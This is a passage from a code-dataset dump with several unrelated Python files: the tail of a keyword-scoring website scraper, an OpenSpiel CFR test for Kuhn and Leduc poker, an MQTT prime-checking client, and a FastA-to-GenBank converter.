check_if_html_content_subsection_is_valid_V2(html_contents[i]):\r\n\t\t\tcontinue\r\n\t\tall_a_html = html_contents[i].find_all('a')\r\n\t\ttotal_number_of_all_sublinks[0] += len(all_a_html)\r\n\tprint('Website size (total number of sublinks): ' + str(total_number_of_all_sublinks[0]))\r\n\r\n\r\n### Input: num_sections_of_website (int), all_text (list of strings)\r\n### Output: None. However, the file website_lines.txt is created and written in.\r\ndef save_website_text(num_sections_of_website, all_text):\r\n\tfile = open('website_lines.txt', 'w')\r\n\tfor i in range(num_sections_of_website):\r\n\t\ttry:\r\n\t\t\tfor j in range(len(all_text[i])):\r\n\t\t\t\tfile.write(str(all_text[i][j]))\r\n\t\texcept UnicodeEncodeError as bad_char:\r\n\t\t\tfor k in range(len(all_text[i])):\r\n\t\t\t\tfor l in range(len(all_text[i][k])):\r\n\t\t\t\t\ttry:\r\n\t\t\t\t\t\tfile.write(str(all_text[i][k][l]))\r\n\t\t\t\t\texcept UnicodeEncodeError:\r\n\t\t\t\t\t\tfile.write('*')\r\n\tfile.close()\r\n\r\n\r\n### Input: homepage (string), site (string), do_you_want_to_know... (boolean), num_websites_checked (int),\r\n### list_of_keywords (list of strings) interested_tabs (list of strings)\r\n### Output: html_content_indices_where... (list of ints), html_contents (BeautifulSoup object), num_matches (int)\r\ndef find_keyword_matches_on_website(homepage, site, do_you_want_to_know_indices_where_product_pages_can_be,\\\r\nnum_websites_checked, list_of_keywords, interested_tabs):\r\n\r\n\thtml_contents = get_html_contents(homepage, site)\r\n\t\r\n\tall_text = []\r\n\thtml_contents_length = len(html_contents)\r\n\thtml_contents_indices_where_products_pages_can_be = []\r\n\tnum_sections_of_website = 0\r\n\r\n\thtml_contents_indices_where_products_pages_can_be = find_html_contents_where_products_pages_can_be(html_contents,\\\r\n\t html_contents_length, do_you_want_to_know_indices_where_product_pages_can_be, interested_tabs)\r\n\tfind_tab_matches(html_contents, html_contents_length, interested_tabs, do_you_want_to_know_indices_where_product_pages_can_be)\r\n\tfind_bad_tabs_and_bad_text(html_contents, html_contents_length, do_you_want_to_know_indices_where_product_pages_can_be)\r\n\tall_text = get_all_website_text(html_contents, html_contents_length)\r\n\tnum_sections_of_website = len(all_text)\r\n\r\n\r\n\tif do_you_want_to_know_indices_where_product_pages_can_be: ## If on the homepage, calculate website size\r\n\t\tcalculate_website_size(html_contents)\r\n\t\r\n\tsave_website_text(num_sections_of_website, all_text)\r\n\r\n\tnum_lines_of_website = 0\r\n\tnum_matches = 0\r\n\t\r\n\twith open('website_lines.txt', 'r') as website_lines: ## Tallies keyword matches and saves the scores attatched to the keywords\r\n\t\tcurrent_line = 0\r\n\t\tfor line in website_lines:\r\n\t\t\tcurrent_line += 1\r\n\t\t\tif current_line == 1:\r\n\t\t\t\tcontinue\r\n\t\t\tfor keyword in list_of_keywords:\r\n\t\t\t\tif keyword in line:\r\n\t\t\t\t\tscore = score_values[keyword]\r\n\t\t\t\t\tlist_of_possible_scores_to_add.append(score)\r\n\t\t\t\t\tnum_matches += 1\r\n\t\t\t\t\tkeyword_matches.append(keyword)\r\n\r\n\tlist_of_possible_scores_to_add.sort(key=lambda x: x, reverse=True)\r\n\t\r\n\tnum_websites_checked[0] += 1\r\n\tprint('Number of keyword matches on this homepage/subpage: ' + str(num_matches))\r\n\r\n\treturn html_contents_indices_where_products_pages_can_be, html_contents, num_matches\r\n\r\n\r\n### Input: list_of_possible_scores_to_add (list of ints), homepage (string)\r\n### Output: None. However, global variable points (dictionary) is modified.\r\ndef add_keyword_matches_to_points(list_of_possible_scores_to_add, homepage):\r\n\tscore = 0\r\n\tif len(list_of_possible_scores_to_add) > 4:\r\n\t\tscore += 5 * list_of_possible_scores_to_add[0] + 5 * list_of_possible_scores_to_add[1] + 5 * list_of_possible_scores_to_add[2]\\\r\n\t\t+ 5 * list_of_possible_scores_to_add[3]\r\n\telse:\r\n\t\tfor scr in list_of_possible_scores_to_add:\r\n\t\t\tscore += 5 * scr\r\n\ttry:\r\n\t\tpoints[true_homepage(homepage)] += 1\r\n\t\tpoints[true_homepage(homepage)] -= 1\r\n\texcept:\r\n\t\tpoints[true_homepage(homepage)] = 0\r\n\r\n\tpoints[true_homepage(homepage)] += score\r\n\tprint('+' + str(score) + ' points for keyword matches')\r\n\t\r\n\r\n### Input: homepage (string)\r\n### Output: None. However, global variable points (dictionary) is modified.\r\ndef add_tab_matches_to_points(homepage):\r\n\ttrue_hmpg = true_homepage(homepage)\r\n\tnum_tab_matches = website_structure[true_hmpg]\r\n\r\n\ttry:\r\n\t\tpoints[true_hmpg] += 1\r\n\t\tpoints[true_hmpg] -= 1\r\n\texcept:\r\n\t\tpoints[true_hmpg] = 0\r\n\r\n\tif num_tab_matches == 1:\r\n\t\tpoints[true_hmpg] += 50\r\n\t\tprint('+50 points for tab matches')\r\n\telif num_tab_matches == 2:\r\n\t\tpoints[true_hmpg] += 75\r\n\t\tprint('+75 points for tab matches')\r\n\telif num_tab_matches >= 3:\r\n\t\tpoints[true_hmpg] += 100\r\n\t\tprint('+100 points for tab matches')\r\n\r\n### Input: homepage (string)\r\n### Output: None. However, global variable points (dictionary) is modified.\r\ndef add_bad_tab_and_bad_text_matches_to_points(homepage):\r\n\ttrue_hmpg = true_homepage(homepage)\r\n\r\n\ttotal_category_matches = 0 # Max one match per item in bad_tab_and_bad_text\r\n\tfor key in bad_tabs_and_bad_text:\r\n\t\tif bad_tabs_and_bad_text[key] > 1:\r\n\t\t\ttotal_category_matches += 1\r\n\tif total_category_matches >= 3:\r\n\t\tpoints[true_hmpg] -= 75\r\n\t\tprint('-75 points for bad keyword/tab matches')\r\n\telif total_category_matches >= 2:\r\n\t\tpoints[true_hmpg] -= 50\r\n\t\tprint('-50 points for bad keyword/tab matches')\r\n\telif total_category_matches == 1:\r\n\t\tpoints[true_hmpg] -= 25\r\n\t\tprint('-25 points for bad keyword/tab matches')\r\n\r\n\r\n### Input: homepage (string)\r\n### Output: None. However, global variable points (dictionary) is modified.\r\ndef add_website_size_to_points(homepage):\r\n\ttrue_hmpg = true_homepage(homepage)\r\n\ttotal_number_of_all_sublinks = total_number_of_all_sublinks[0]\r\n\r\n\ttry:\r\n\t\tpoints[true_hmpg] += 1\r\n\t\tpoints[true_hmpg] -= 1\r\n\texcept:\r\n\t\tpoints[true_hmpg] = 0\r\n\r\n\tif total_number_of_all_sublinks >= 500:\r\n\t\tpoints[true_hmpg] -= 150\r\n\t\tprint('-100 points for website size')\r\n\telif total_number_of_all_sublinks >= 300:\r\n\t\tpoints[true_hmpg] -= 100\r\n\t\tprint('-100 points for website size')\r\n\telif total_number_of_all_sublinks >= 200:\r\n\t\tpoints[true_hmpg] -= 50\r\n\t\tprint('-50 points for website size')\r\n\telif total_number_of_all_sublinks >= 150:\r\n\t\tpoints[true_hmpg] -= 25\r\n\t\tprint('-25 points for website size')\r\n\r\n\r\n### Input: None. However, keywords.txt is read from\r\n### Output: list_of_keywords (list of strings). Also, global variable score_values (dictionary) is modified\r\ndef get_keywords_list():\r\n\twith open('keywords.txt') as keywords:\r\n\t\tlist_of_keywords = []\r\n\t\tfor line in keywords:\r\n\t\t\tline = line.strip('\\n')\r\n\t\t\tlist_of_keywords.append(line[:-2]) ## The keyword\r\n\t\t\tscore_values[line[:-2]] = int(line[-1:]) ## The keyword point value\r\n\t\t\tlist_of_keywords.append(line.lower()[:-2])\r\n\t\t\tscore_values[line[:-2].lower()] = int(line[-1:])\r\n\r\n\treturn list_of_keywords\r\n\r\n\r\n### Input: homepage (string)\r\n### Output: homepage (string)\r\n###\t\t- Note that the output is the same as the input, however, all sublinks attatched have been stripped.\r\n###\t\t- ex: https://www.netalux.com/products becomes https://www.netalux.com\r\ndef true_homepage(homepage):\r\n\tfor i in range(len(homepage[9:])):\r\n\t\tif homepage[9 + i] == '/':\r\n\t\t\treturn homepage[:i + 9]\r\n\r\n\treturn homepage\r\n\r\n\r\n### Input: percentage value (int between 0 and 100)\r\n### Output: offset (int close to 1)\r\n###\t\t- offset is a random number close to 1 with an offset between 0 and the percentage.\r\ndef random_offset(percentage):\r\n\toffset = 0.01 * random.randint(100 - percentage, 100 + percentage)\r\n\treturn offset\r\n\r\n\r\n### Input: homepage (string), _2D_list_of_sublinks (list of lists of strings), thoroughness (int), num_websites_checked (int),\r\n### num_matches (list of two ints), list_of_keywords (list of strings), interested_tabas (list of strings)\r\n###\t\t- thoroughness refers to how often a sublink under one of the interested tabs should be searched.\r\n###\t\t Ex: thoroughness == 10 means that every 10th link under each tab of interested_tabs will be searched for keywords.\r\n### Output: None. However, global variables num_matches and num_websites_checked are modified.\r\n\r\ndef search_through_multiple_links_to_find_keyword_matches(homepage, _2D_list_of_sublinks, thoroughness, num_websites_checked,\\\r\n num_matches, list_of_keywords, interested_tabs): ##\r\n\tresults = []\r\n\tfor list_of_sublinks in _2D_list_of_sublinks:\r\n\t\tfor i in range(len(list_of_sublinks)):\r\n\t\t\tif i % thoroughness == 0: ### Considers the first sublink in each list_of_sublinks and every X sublink in each list_of_sublinks where X = thoroughness\r\n\t\t\t\thtml_contents_indices_where_products_pages_can_be, html_contents, matches = find_keyword_matches_on_website(homepage, list_of_sublinks[i],\\\r\n\t\t\t\t\tFalse, num_websites_checked, list_of_keywords, interested_tabs)\r\n\t\t\t\tother_options = False\r\n\t\t\t\tfor j in range(len(html_contents)): ### Searches through html contents of the website\r\n\t\t\t\t\tif check_if_html_content_subsection_is_valid_V3(html_contents[j]):\r\n\t\t\t\t\t\tif not other_options:\r\n\t\t\t\t\t\t\tif '404' in html_contents[j].get_text(): ### If you reach a page that has a 'Error 404'\r\n\t\t\t\t\t\t\t\ttry:\r\n\t\t\t\t\t\t\t\t\tprint(list_of_sublinks)\r\n\t\t\t\t\t\t\t\t\tprint('Error 404: ' + list_of_sublinks[i])\r\n\t\t\t\t\t\t\t\t\tprint('Next link tried in its place: ' + list_of_sublinks[i + 1])\r\n\t\t\t\t\t\t\t\t\thtml_contents_indices_where_products_pages_can_be, html_contents, matches = find_keyword_matches_on_website(homepage, list_of_sublinks[i + 1],\\\r\n\t\t\t\t\t\t\t\t\tFalse, num_websites_checked, list_of_keywords, interested_tabs)\r\n\t\t\t\t\t\t\t\t\tnum_websites_checked[0] -= 1\r\n\t\t\t\t\t\t\t\t\tnum_matches[1] += matches\r\n\t\t\t\t\t\t\t\t\tnum_404_pages[0] += 1\r\n\t\t\t\t\t\t\t\t\tother_options = True\r\n\t\t\t\t\t\t\t\texcept IndexError:\r\n\t\t\t\t\t\t\t\t\tpass\r\n\t\t\t\tif other_options == False: ### Adds matches to num_matches if it wasn't already added.\r\n\t\t\t\t\tnum_matches[1] += matches\r\n\r\n\r\n### Input: _2D_list_of_sublinks (list of lists of strings), interested_tabs (list of strings)\r\n### Output: None. However, list_of_products_links.txt is written to.\r\ndef write_product_links(_2D_list_of_sublinks, interested_tabs): ##\r\n\twith open('list_of_product_links.txt', 'w') as file:\r\n\t\tfor i in range(len(_2D_list_of_sublinks)):\r\n\t\t\tfile.write(interested_tabs[i] + '\\n')\r\n\t\t\tlist_of_sublinks = _2D_list_of_sublinks[i]\r\n\t\t\tfor link in list_of_sublinks:\r\n\t\t\t\tfile.write(link + '\\n')\r\n\r\n\r\n### Input: _2D_list_of_sublinks (list of lists of strings), interested_tabs (list of strings), true_hmpg (string)\r\n### Output: None. However, global variable website_structure (dictionary) is modified.\r\ndef calculate_website_structure_score(_2D_list_of_sublinks, interested_tabs, true_hmpg):\r\n\tfor i in range(len(_2D_list_of_sublinks)):\r\n\t\tlist_of_sublinks = _2D_list_of_sublinks[i]\r\n\t\tif len(list_of_sublinks) >= 1:\r\n\t\t\twebsite_structure[true_hmpg] += 1\r\n\r\n\r\n### Input: parents_html_text (a BeautifulSoup object), html_contents (a BeautifulSoup object), indicies_where... (list of ints)\r\ndef find_html_content_of_a_given_html_text(parents_html_text, html_contents, indices_where_text_can_be_found): ## ---\r\n\t_2D_list_of_sublinks = []\r\n\tlist_of_sublinks = []\r\n\r\n\tfor parent_html_text in parents_html_text:\r\n\t\tfor i in indices_where_text_can_be_found:\r\n\t\t\trelevant_html_contents = html_contents[i]\r\n\t\t\tfor child in relevant_html_contents.descendants:\r\n\t\t\t\tif child.string != None:\r\n\t\t\t\t\tif parent_html_text in child.string or parent_html_text.lower() in child.string:\r\n\t\t\t\t\t\tfind_sublinks(child, i, list_of_sublinks)\r\n\t\t_2D_list_of_sublinks.append(list_of_sublinks)\r\n\t\tlist_of_sublinks = []\r\n\r\n\treturn _2D_list_of_sublinks\r\n\r\n\r\n### Input: html_contents (a BeautifulSoup object), i (int), list_of_sublinks (list of strings)\r\n### \t- Note: html_contents here is NOT ALL html_contents of the website. Only a specific portion of them.\r\n### Output: list_of_sublinks\r\n###\t\t- the input is appended and returned. The addition includes more sublinks found in the inputted html_contents\r\ndef find_sublinks(html_contents, i, list_of_sublinks): ## ---\r\n\tif str(type(html_contents)) == \"\":\r\n\t\treturn\r\n\r\n\tif html_contents.parent.name == 'a':\r\n\t\thtml_contents = html_contents.parent\r\n\r\n\ttry:\r\n\t\tlink = html_contents.get('href')\r\n\t\tif link != '#' and link != None and 'javascript:void' not in link:\r\n\t\t\tlist_of_sublinks.append(link)\r\n\texcept:\r\n\t\tpass\r\n\r\n\ttry:\r\n\t\tnew_parent = html_contents.find_next_sibling()\r\n\texcept TypeError:\r\n\t\treturn\r\n\texcept AttributeError:\r\n\t\tnew_parent = html_contents\r\n\r\n\r\n\tif new_parent == None:\r\n\t\treturn\r\n\r\n\tall_a_html = new_parent.find_all('a')\r\n\tfor a in all_a_html:\r\n\t\tlink = a.get('href')\r\n\t\tif link != None and 'javascript:void' not in link:\r\n\t\t\tlist_of_sublinks.append(link)\r\n\r\n\treturn list_of_sublinks\r\n\r\n\r\n### Input: _2D_list... (list of lists of strings)\r\n### Output: _2D_list... (list of lists of strings)\r\n###\t\t- This output is a modified version of the input.\r\n### Removes sublists of length 0\r\ndef refine_list(_2D_list_of_sublinks): \r\n\tnew_2D_list_of_sublinks = []\r\n\tnew_list_of_sublinks = []\r\n\tfor list_of_sublinks in _2D_list_of_sublinks:\r\n\t\tfor i in range(len(list_of_sublinks)):\r\n\t\t\ttry:\r\n\t\t\t\tsub_section_length = len(list_of_sublinks[i])\r\n\t\t\texcept TypeError:\r\n\t\t\t\tsub_section_length = 0\r\n\t\t\tfor j in range(sub_section_length):\r\n\t\t\t\tnew_list_of_sublinks.append(list_of_sublinks[i][j])\r\n\t\tnew_2D_list_of_sublinks.append(new_list_of_sublinks)\r\n\treturn new_2D_list_of_sublinks\r\n\r\n\r\n### Input: homepage (string), interested_tabs (list of strings), thoroughness (int)\r\n### Output: None. However, global variables num_matches (list), num_websites_checked (list of a single int),\r\n### scores (dictionary) are modified.\r\ndef search_a_website_and_the_sublinks(homepage, interested_tabs, thoroughness):\r\n\tglobal num_matches\r\n\tnum_matches = [0, 0]\r\n\tglobal num_websites_checked\r\n\tnum_websites_checked = [0]\r\n\tdo_you_want_to_know_indices_where_product_pages_can_be = True\r\n\r\n\tlist_of_keywords = get_keywords_list()\r\n\r\n\ttrue_hmpg = true_homepage(homepage)\r\n\r\n\tscores[true_hmpg] = 0\r\n\twebsite_structure[true_hmpg] = 0\r\n\r\n\thtml_contents_indices_where_products_pages_can_be, html_contents, num_matches[0] = find_keyword_matches_on_website(homepage, homepage, True,\\\r\n\t num_websites_checked, list_of_keywords, interested_tabs)\r\n\t_2D_list_of_sublinks = find_html_content_of_a_given_html_text(interested_tabs, html_contents, html_contents_indices_where_products_pages_can_be)\r\n\r\n\twrite_product_links(_2D_list_of_sublinks, interested_tabs)\r\n\tcalculate_website_structure_score(_2D_list_of_sublinks, interested_tabs, true_hmpg)\r\n\r\n\tsearch_through_multiple_links_to_find_keyword_matches(homepage, _2D_list_of_sublinks, thoroughness, num_websites_checked, num_matches,\\\r\n\t list_of_keywords, interested_tabs)\r\n\r\n\tprint('Number of sublinks checked: ' + str(num_websites_checked[0]))\r\n\r\n\tscores[true_hmpg] /= num_websites_checked[0]\r\n\r\n\r\n### Input: None\r\n### Output: websites (list of strings)\r\ndef read_website_links():\r\n\twebsites = []\r\n\r\n\tfile = open('websites_to_scrape.txt', 'r')\r\n\tfor line in file:\r\n\t\twebsites.append(line.strip('\\n'))\r\n\treturn websites\r\n\r\n### Input: None. \r\n### Output: None. However, points_from_website.txt is written to\r\ndef save_points_from_website():\r\n\tfile = open('points_from_website.txt', 'w')\r\n\tfor website in points:\r\n\t\tfile.write(str(website) + ' ' + str(points[website]) + '\\n')\r\n\tfile.close\r\n\r\n### Input: website (string)\r\n### Output: None. However, keyword_matches_from_website_to_website.txt is appended to.\r\ndef save_keyword_matches(website):\r\n\ttrue_hmpg = true_homepage(website)\r\n\tfile = open('keyword_matches_from_website_to_website.txt', 'a')\r\n\tif len(keyword_matches) > 0:\r\n\t\tfile.write(true_hmpg)\r\n\t\tfor keyword in keyword_matches:\r\n\t\t\tfile.write(' ' + keyword)\r\n\t\tfile.write('\\n')\r\n\tfile.close()\r\n\r\n### Input: website (string)\r\n### Output: None. However, tab_matches_to_website.txt is appended to\r\ndef save_tab_matches(website):\r\n\tprint('Tab matches: ', end = '')\r\n\tprint(tab_matches)\r\n\ttrue_hmpg = true_homepage(website)\r\n\tfile = open('tab_matches_to_website.txt', 'a')\r\n\tif len(tab_matches) > 0:\r\n\t\tfile.write(true_hmpg)\r\n\t\tfor tab in tab_matches:\r\n\t\t\tfile.write(' ' + tab)\r\n\t\tfile.write('\\n')\r\n\tfile.close()\r\n\r\n### Input: None\r\n### Output: None. However, global variable bad_tabs_and_bad_text (dict) is modified\r\ndef reset_bad_tabs_bad_text():\r\n\tfor key in bad_tabs_and_bad_text:\r\n\t\tbad_tabs_and_bad_text[key] = 0\r\n\r\n\r\n### Input: html_contents_subsection (a component of a BeautifulSoup object?)\r\n### Output: html_contents_subsection (a component of a BeautifulSoup object?)\r\ndef check_if_html_content_subsection_is_valid_V1(html_contents_subsection):\r\n\treturn html_contents_subsection != '\\n' and not (str(type(html_contents_subsection)) == \"\")\r\n\r\n\r\n### Input: html_contents_subsection (a component of a BeautifulSoup object?)\r\n### Output: html_contents_subsection (a component of a BeautifulSoup object?)\r\ndef check_if_html_content_subsection_is_valid_V2(html_contents_subsection):\r\n\treturn str(type(html_contents_subsection)) == \"\" or\\\r\n\t\t str(type(html_contents_subsection)) == \"\"\r\n\r\n\r\n### Input: html_contents_subsection (a component of a BeautifulSoup object?)\r\n### Output: html_contents_subsection (a component of a BeautifulSoup object?)\r\ndef check_if_html_content_subsection_is_valid_V3(html_contents_subsection):\r\n\treturn html_contents_subsection != '\\n' and not (str(type(html_contents_subsection)) == \"\")\\\r\n\t\t\t\t\tand not (str(type(html_contents_subsection)) == \"\")\\\r\n\t\t\t\t\tand not isinstance(html_contents_subsection, str)\r\n\r\n\r\n### Main function. This is where the program starts.\r\n### Input: interested_tabs (list of strings), thoroughness (int), _bad_tabs_and_bad_text (list of strings)\r\n### Output: None\r\ndef main(interested_tabs, thoroughness, _bad_tabs_and_bad_text):\r\n\tglobal bad_tabs_and_bad_text\r\n\tbad_tabs_and_bad_text = _bad_tabs_and_bad_text\r\n\r\n\t### Temporarily opened to allow the files to be appended to later ('a' vs. 'w')\r\n\tfile = open('keyword_matches_from_website_to_website.txt', 'w')\r\n\tfile.close()\r\n\tfile = open('tab_matches_to_website.txt', 'w')\r\n\tfile.close()\r\n\r\n\t### Goes through all the websites and runs \"search_a_website_and_the_sublinks\" for each site.\r\n\t### Sets and resets various values for each website too\r\n\twebsites = read_website_links()\r\n\tfor website in websites:\r\n\t\tif website != '' and website != None:\r\n\t\t\tprint('-----------------------------')\r\n\t\t\tprint(' New Website Now ')\r\n\t\t\tprint('Checking website: ' + website)\r\n\t\t\tglobal list_of_possible_scores_to_add\r\n\t\t\tlist_of_possible_scores_to_add = [] ### All scores from all keywords in all sublinks\r\n\t\t\tglobal keyword_matches\r\n\t\t\tkeyword_matches = [] ### List of keywords that show up for the website in question. Only used to save to file\r\n\t\t\tglobal tab_matches\r\n\t\t\ttab_matches = [] ### List of tab matches that show up for the website in question. Only used to save to file\r\n\t\t\treset_bad_tabs_bad_text()\r\n\t\t\ttry:\r\n\t\t\t\tsearch_a_website_and_the_sublinks(website, interested_tabs, thoroughness)\r\n\t\t\texcept Exception as e:\r\n\t\t\t\tprint('Failed to search website: ' + website)\r\n\t\t\t\tprint('Exception received: ')\r\n\t\t\t\tprint(e)\r\n\t\t\t\tprint('')\r\n\t\t\t\tlist_of_possible_scores_to_add = [0]\r\n\t\t\t\twebsite_structure[true_homepage(website)] = 0\r\n\r\n\t\t\tadd_keyword_matches_to_points(list_of_possible_scores_to_add, website)\r\n\t\t\tadd_bad_tab_and_bad_text_matches_to_points(website)\r\n\t\t\tadd_tab_matches_to_points(website)\r\n\t\t\tsave_keyword_matches(website)\r\n\t\t\tsave_tab_matches(website)\r\n\t\t\tprint('Points from this website and all subsites (does not include EPO score): ', end = '')\r\n\t\t\tprint(points[true_homepage(website)])\r\n\t\r\n\ttime.sleep(0.1)\r\n\r\n\tsave_points_from_website()","repo_name":"WitheringRiser/NuclearWebScraper","sub_path":"WebScrapingRandomSiteSelenium.py","file_name":"WebScrapingRandomSiteSelenium.py","file_ext":"py","file_size_in_byte":28902,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"72379783467","text":"from absl.testing import absltest\nfrom absl.testing import parameterized\n\nfrom open_spiel.python.examples.meta_cfr.sequential_games import cfr\nfrom open_spiel.python.examples.meta_cfr.sequential_games import game_tree_utils as trees\nfrom open_spiel.python.examples.meta_cfr.sequential_games import openspiel_api\n\n\ndef _uniform_policy(size):\n if size > 0:\n return [1./size]*size\n return []\n\n\nclass CfrTest(parameterized.TestCase):\n\n @parameterized.named_parameters(('kuhn_poker_test', 'kuhn_poker'),\n ('leduc_poker_test', 'leduc_poker'))\n def test_zero_policy_is_uniform(self, game):\n config = {'players': 2}\n cfr_game_tree = trees.build_game_tree(\n openspiel_api.WorldState(\n game_name=game, config=config, perturbation=False))\n cfr.compute_cfr_values(cfr_game_tree, 1)\n infostates_p1 = list(cfr_game_tree.all_infostates_map[1].values())\n infostates_p2 = list(cfr_game_tree.all_infostates_map[2].values())\n with self.subTest('player_1_initial_policy'):\n for i in range(len(infostates_p1)):\n self.assertListEqual(\n list(infostates_p1[i].policy.values()),\n _uniform_policy(len(infostates_p1[i].policy.values())))\n with self.subTest('player_2_initial_policy'):\n for i in range(len(infostates_p2)):\n self.assertListEqual(\n list(infostates_p2[i].policy.values()),\n _uniform_policy(len(infostates_p2[i].policy.values())))\n\n def test_cfr_leduc_poker(self):\n config = {'players': 2}\n exploitability_error = 0.2\n cfr_game_tree = trees.build_game_tree(\n openspiel_api.WorldState(\n game_name='leduc_poker', config=config, perturbation=False))\n best_response_value_p1, best_response_value_p2 = cfr.compute_cfr_values(\n cfr_game_tree, 20)\n last_best_response_value_player_1 = best_response_value_p1[-1]\n last_best_response_value_player_2 = best_response_value_p2[-1]\n exploitability = (last_best_response_value_player_1 +\n last_best_response_value_player_2) / 2\n # Exploitability values are computed using OpenSpiel cfr\n self.assertLessEqual(exploitability, 0.59 + exploitability_error)\n\n def test_cfr_kuhn_poker(self):\n config = {'players': 2}\n exploitability_error = 0.2\n cfr_game_tree = trees.build_game_tree(\n openspiel_api.WorldState(\n game_name='kuhn_poker', config=config, perturbation=False))\n best_response_value_p1, best_response_value_p2 = cfr.compute_cfr_values(\n cfr_game_tree, 20)\n last_best_response_value_player_1 = best_response_value_p1[-1]\n last_best_response_value_player_2 = best_response_value_p2[-1]\n exploitability = (last_best_response_value_player_1 +\n last_best_response_value_player_2) / 2\n # Exploitability values are computed using OpenSpiel cfr\n self.assertLessEqual(exploitability, 0.06 + exploitability_error)\n\n\nif __name__ == '__main__':\n absltest.main()\n","repo_name":"deepmind/open_spiel","sub_path":"open_spiel/python/examples/meta_cfr/sequential_games/cfr_test.py","file_name":"cfr_test.py","file_ext":"py","file_size_in_byte":2972,"program_lang":"python","lang":"en","doc_type":"code","stars":3700,"dataset":"github-code","pt":"37"} +{"seq_id":"41949523303","text":"# Ejercicio 2: Numeros\n\nfrom paho.mqtt.client import Client\nfrom multiprocessing import Process, Manager \nfrom time import sleep\nimport random\nimport sys\n\nNUMBERS = 'numbers'\nCLIENTS = 'clients'\nSTOP = f'{CLIENTS}/stop' \n\ndef is_prime(n): \n i= 2\n while (i*i < n) and (n % i != 0): \n i = i + 1\n return i*i > n\n\ndef timer(time, data): \n mqttc = Client()\n mqttc.connect(data['broker'])\n msg = f'timer working. timeout: {time}'\n print(msg) \n mqttc.publish(STOP, msg) \n sleep(time)\n msg = f'timer working. timeout: {time}' \n mqttc.publish(STOP, msg)\n print('timer ended') \n mqttc.disconnect()\n\ndef on_message(mqttc, data, msg):\n \n try:\n if is_prime(int(msg.payload)):\n print (f\"The number {int(msg.payload)} is prime\")\n else:\n print (f\"The number {int(msg.payload)} is not prime\")\n\n except ValueError as e:\n print(e)\n pass\n\ndef on_log(mqttc, userdata, level, string):\n print(\"LOG\", userdata, level, string)\n\ndef main(broker):\n data = {'client': None,'broker': broker}\n mqttc = Client(userdata=data) \n data['client'] = mqttc\n mqttc.enable_logger()\n mqttc.on_message = on_message\n mqttc.on_log = on_log\n mqttc.connect(broker)\n mqttc.subscribe(NUMBERS)\n mqttc.loop_forever()\n\n\nif __name__ == '__main__':\n hostname = 'simba.fdi.ucm.es'\n if len(sys.argv)>1:\n hostname = sys.argv[1]\n main(hostname)\n","repo_name":"nmachinesteve/Programacion-Paralela-22-23","sub_path":"Ejercicios Matt/2Numeros.py","file_name":"2Numeros.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5928128735","text":"#!/usr/bin/env python\n\n\nimport os\nimport re\nimport sys\nfrom argparse import ArgumentParser\nfrom itertools import groupby\nfrom shutil import rmtree\nfrom tempfile import mkdtemp\nfrom Bio import SeqIO, Alphabet\nfrom Bio.SeqFeature import SeqFeature, FeatureLocation\n\ndef parseArgs():\n\tparser = ArgumentParser(description='Creates a GenBank file from a '\n\t'FastA file', add_help=False)\n\treq = parser.add_argument_group('Required')\n\treq.add_argument('-i', '--input', required=True, metavar='FILE',\n\t\thelp='input FastA file')\n\topt = parser.add_argument_group('Optional')\n\topt.add_argument('-h', '--help', action='help',\n\t\thelp='show this help message and exit')\n\topt.add_argument('-o', '--output', metavar='FILE', default=None,\n\t\thelp='output GenBank file [stdout]')\n\topt.add_argument('--label-ambiguous', action='store_true',\n\t\tdefault=False, help='label positions where N occurs as \\'ambiguous\\' '\n\t\t'[off]')\n\topt.add_argument('--label-unambiguous', action='store_true',\n\t\tdefault=False, help='label positions where ATCG occur [off]')\n\treturn parser.parse_args()\n\ndef collapse_integers_to_ranges(sites):\n\t''' converts list of integers into list of pairs of begin,end sites '''\n\tranges = []\n\tfor _, g in groupby(enumerate(sites), key=lambda e: e[0]-e[1]):\n\t\tgroup = [val[1] for val in g]\n\t\tif len(group) > 1:\n\t\t\tranges.append(group[::len(group) - 1])\n\t\telif len(group) == 1:\n\t\t\tranges.append([group[0], group[0]])\n\treturn ranges\n\ndef label_sites_to_gbkrec(rec, sites, label):\n\tranges = collapse_integers_to_ranges(sites)\n\tfor begin_end in ranges:\n\t\tsf = SeqFeature(FeatureLocation(begin_end[0], begin_end[1]+1),\n\t\t\ttype=label, id=label, qualifiers={label:'yes',\n\t\t\t'note':'{} nucleotide region'.format(label)})\n\t\trec.features.append(sf)\n\treturn rec\n\ndef label_ambiguous_gbkrecs(gbkrecs):\n\trecords = []\n\tfor rec in gbkrecs:\n\t\t# Find ambiguous N nucleotides\n\t\ti, split_len = 0, 0\n\t\tsites = []\n\t\tseq = rec.seq.upper()\n\t\twhile i >= 0:\n\t\t\ti = seq.find('N')\n\t\t\tif i >= 0:\n\t\t\t\tsites.append(i + split_len)\n\t\t\t\tsplit_len += i+1\n\t\t\t\tseq = seq[i+1:]\n\t\trecords.append(label_sites_to_gbkrec(rec, sites, 'ambiguous'))\n\treturn records\n\ndef label_unambiguous_gbkrecs(gbkrecs):\n\trecords = []\n\tfor rec in gbkrecs:\n\t\t# Find unambiguous ATCG nucleotides\n\t\tseq = str(rec.seq.upper())\n\t\tsites = [m.start() for m in re.finditer(\n\t\t\t'|'.join(map(re.escape, 'ATCG')), seq)]\n\t\trecords.append(label_sites_to_gbkrec(rec, sites, 'unambiguous'))\n\treturn records\n\ndef main():\n\topt = parseArgs()\n\tifh = os.path.abspath(os.path.expanduser(opt.input))\n\tif opt.output is not None:\n\t\tofh = os.path.abspath(os.path.expanduser(opt.output))\n\telse:\n\t\tofh = sys.stdout\n\n\tif not opt.label_ambiguous and not opt.label_unambiguous:\n\t\tSeqIO.convert(ifh, 'fasta', ofh, 'genbank',\n\t\t\talphabet=Alphabet.generic_dna)\n\t\tsys.exit(0)\n\n\ttmp = mkdtemp()\n\ttemp_gbk = os.path.join(tmp, 'gb')\n\tSeqIO.convert(ifh, 'fasta', temp_gbk, 'genbank',\n\t\talphabet=Alphabet.generic_dna)\n\twith open(temp_gbk) as tfh:\n\t\tgbkrecs = list(SeqIO.parse(tfh, 'genbank'))\n\tif opt.label_ambiguous:\n\t\tgbkrecs = label_ambiguous_gbkrecs(gbkrecs)\n\tif opt.label_unambiguous:\n\t\tgbkrecs = label_unambiguous_gbkrecs(gbkrecs)\n\n\tSeqIO.write(gbkrecs, ofh, 'genbank')\n\tsys.stderr.write('INFO: {} sequence records 